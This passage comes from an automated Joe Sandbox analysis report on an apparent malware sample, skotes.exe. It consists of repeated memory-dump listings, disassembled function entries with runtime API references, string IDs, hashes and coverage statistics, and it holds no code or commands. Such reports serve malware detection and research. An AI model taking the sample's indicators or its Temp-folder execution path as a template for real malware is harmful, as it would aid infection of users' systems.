                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937868849.000000000034B000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938083520.000000000035E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938244760.000000000035F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938383938.000000000036E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938523670.000000000036F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938674264.0000000000371000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938873786.0000000000382000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939094883.0000000000395000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939273560.000000000039A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939476219.00000000003A2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939606803.00000000003AE000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939775691.00000000003AF000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939929184.00000000003B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940086269.00000000003BA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940187146.00000000003BF000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940364041.00000000003C8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940499673.00000000003D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940600891.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940725921.00000000003D8000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940876411.00000000003D9000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940972627.00000000003DA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941121415.00000000003F7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.00000000003FB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.000000000041A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941521391.0000000000447000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941603559.0000000000448000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941672810.0000000000449000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941717161.000000000044D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941768718.000000000044F000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941811068.000000000045D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941849555.000000000045E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941892323.000000000045F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941933760.0000000000460000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_150000_skotes.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID:
                                                                                                                                                                                                                                                                                    • String ID: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
                                                                                                                                                                                                                                                                                    • API String ID: 0-1793179972
                                                                                                                                                                                                                                                                                    • Opcode ID: f4b72964205e3374a61db22853b95040cc1762b08fb271e740a14ad239f74336
                                                                                                                                                                                                                                                                                    • Instruction ID: 13e4ab6999eea442503c5c05388dce732e5eaf5865572a5de4f174595ff9b977
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: f4b72964205e3374a61db22853b95040cc1762b08fb271e740a14ad239f74336
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: EE219F71B04209BFDB34BE659C80E6B77EDEF513687204A14F92897191EBA0EE009F60
                                                                                                                                                                                                                                                                                    Function 00181704 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 69COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • Concurrency::details::FreeVirtualProcessorRoot::SpinUntilIdle.LIBCONCRT ref: 00181764
                                                                                                                                                                                                                                                                                    • std::invalid_argument::invalid_argument.LIBCONCRT ref: 001817AF
                                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2930996247.0000000000151000.00000040.00000001.01000000.00000007.sdmp, Offset: 00150000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930687748.0000000000150000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930996247.00000000001B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933481614.00000000001B9000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933772740.00000000001BB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2934055992.00000000001C7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2935818868.0000000000319000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936119957.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936418149.0000000000334000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936696260.0000000000336000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000337000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000342000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937425229.0000000000344000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937868849.000000000034B000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938083520.000000000035E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938244760.000000000035F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938383938.000000000036E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938523670.000000000036F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938674264.0000000000371000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938873786.0000000000382000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939094883.0000000000395000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939273560.000000000039A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939476219.00000000003A2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939606803.00000000003AE000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939775691.00000000003AF000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939929184.00000000003B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940086269.00000000003BA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940187146.00000000003BF000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940364041.00000000003C8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940499673.00000000003D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940600891.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940725921.00000000003D8000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940876411.00000000003D9000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940972627.00000000003DA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941121415.00000000003F7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.00000000003FB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.000000000041A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941521391.0000000000447000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941603559.0000000000448000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941672810.0000000000449000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941717161.000000000044D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941768718.000000000044F000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941811068.000000000045D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941849555.000000000045E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941892323.000000000045F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941933760.0000000000460000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_150000_skotes.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: Concurrency::details::FreeIdleProcessorRoot::SpinUntilVirtualstd::invalid_argument::invalid_argument
                                                                                                                                                                                                                                                                                    • String ID: pContext
                                                                                                                                                                                                                                                                                    • API String ID: 3390424672-2046700901
                                                                                                                                                                                                                                                                                    • Opcode ID: 5c684eea6e9f7837f397921099cf98b6245c2a8a358b386d301b27f469699a55
                                                                                                                                                                                                                                                                                    • Instruction ID: db675803e6eb1e8e17d092cd4c8671377abcc738fdb2efc45189afb0c3c555bd
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 5c684eea6e9f7837f397921099cf98b6245c2a8a358b386d301b27f469699a55
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 5711E93BA00214BBCB19FF58C48596D77ADAF99360B154069EC1297342DB74DE42CFD0
                                                                                                                                                                                                                                                                                    Function 0017B92C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28threadCOMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • Concurrency::details::FreeThreadProxy::ReturnIdleProxy.LIBCONCRT ref: 0017B94E
                                                                                                                                                                                                                                                                                    • std::invalid_argument::invalid_argument.LIBCONCRT ref: 0017B961
                                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2930996247.0000000000151000.00000040.00000001.01000000.00000007.sdmp, Offset: 00150000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930687748.0000000000150000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930996247.00000000001B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933481614.00000000001B9000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933772740.00000000001BB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2934055992.00000000001C7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2935818868.0000000000319000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936119957.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936418149.0000000000334000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936696260.0000000000336000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000337000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000342000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937425229.0000000000344000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937868849.000000000034B000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938083520.000000000035E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938244760.000000000035F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938383938.000000000036E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938523670.000000000036F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938674264.0000000000371000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938873786.0000000000382000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939094883.0000000000395000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939273560.000000000039A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939476219.00000000003A2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939606803.00000000003AE000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939775691.00000000003AF000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939929184.00000000003B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940086269.00000000003BA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940187146.00000000003BF000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940364041.00000000003C8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940499673.00000000003D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940600891.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940725921.00000000003D8000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940876411.00000000003D9000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940972627.00000000003DA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941121415.00000000003F7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.00000000003FB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.000000000041A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941521391.0000000000447000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941603559.0000000000448000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941672810.0000000000449000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941717161.000000000044D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941768718.000000000044F000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941811068.000000000045D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941849555.000000000045E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941892323.000000000045F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941933760.0000000000460000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_150000_skotes.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: Concurrency::details::FreeIdleProxyProxy::ReturnThreadstd::invalid_argument::invalid_argument
                                                                                                                                                                                                                                                                                    • String ID: pContext
                                                                                                                                                                                                                                                                                    • API String ID: 548886458-2046700901
                                                                                                                                                                                                                                                                                    • Opcode ID: 15389ca5a99b0e8f2dea227d2728e86773e8ed91c0b6bef9898bed95ce694073
                                                                                                                                                                                                                                                                                    • Instruction ID: 412b5f241f4f27dd9f0faedd354e7e969b461eac7ce521041b2b06f6c3a1d677
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 15389ca5a99b0e8f2dea227d2728e86773e8ed91c0b6bef9898bed95ce694073
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: CAE0D83EB4020467CB04B7A4E859DADB7BD9FD5B247144116F625A3391EB70AA05CED0
                                                                                                                                                                                                                                                                                    Function 001734CC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • std::invalid_argument::invalid_argument.LIBCONCRT ref: 001734FC
                                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2930996247.0000000000151000.00000040.00000001.01000000.00000007.sdmp, Offset: 00150000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930687748.0000000000150000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2930996247.00000000001B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933481614.00000000001B9000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2933772740.00000000001BB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2934055992.00000000001C7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2935818868.0000000000319000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936119957.000000000031C000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936418149.0000000000334000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936696260.0000000000336000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000337000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2936910780.0000000000342000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937425229.0000000000344000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2937868849.000000000034B000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938083520.000000000035E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938244760.000000000035F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938383938.000000000036E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938523670.000000000036F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938674264.0000000000371000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2938873786.0000000000382000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939094883.0000000000395000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939273560.000000000039A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939476219.00000000003A2000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939606803.00000000003AE000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939775691.00000000003AF000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2939929184.00000000003B2000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940086269.00000000003BA000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940187146.00000000003BF000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940364041.00000000003C8000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940499673.00000000003D0000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940600891.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940725921.00000000003D8000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940876411.00000000003D9000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2940972627.00000000003DA000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941121415.00000000003F7000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.00000000003FB000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941292712.000000000041A000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941521391.0000000000447000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941603559.0000000000448000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941672810.0000000000449000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941717161.000000000044D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941768718.000000000044F000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941811068.000000000045D000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941849555.000000000045E000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941892323.000000000045F000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2941933760.0000000000460000.00000080.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_150000_skotes.jbxd
                                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: std::invalid_argument::invalid_argument
                                                                                                                                                                                                                                                                                    • String ID: pScheduler$version
                                                                                                                                                                                                                                                                                    • API String ID: 2141394445-3154422776
                                                                                                                                                                                                                                                                                    • Opcode ID: 3370d4dd9f429081aad8294367e2322ac0b6a116016f317d1a38c426ce44301e
                                                                                                                                                                                                                                                                                    • Instruction ID: e1454f867160c3118f3ec4f237e582376cd6b42d8d844930828129b5f1d6e7ff
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 3370d4dd9f429081aad8294367e2322ac0b6a116016f317d1a38c426ce44301e
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: F7E08638880208B6CB2AFA54DC4BADC77749B25745F08C115B825110919BB49798DA91

                                                                                                                                                                                                                                                                                    Execution Graph

                                                                                                                                                                                                                                                                                    Execution Coverage:14%
                                                                                                                                                                                                                                                                                    Dynamic/Decrypted Code Coverage:0%
                                                                                                                                                                                                                                                                                    Signature Coverage:22.5%
                                                                                                                                                                                                                                                                                    Total number of Nodes:1851
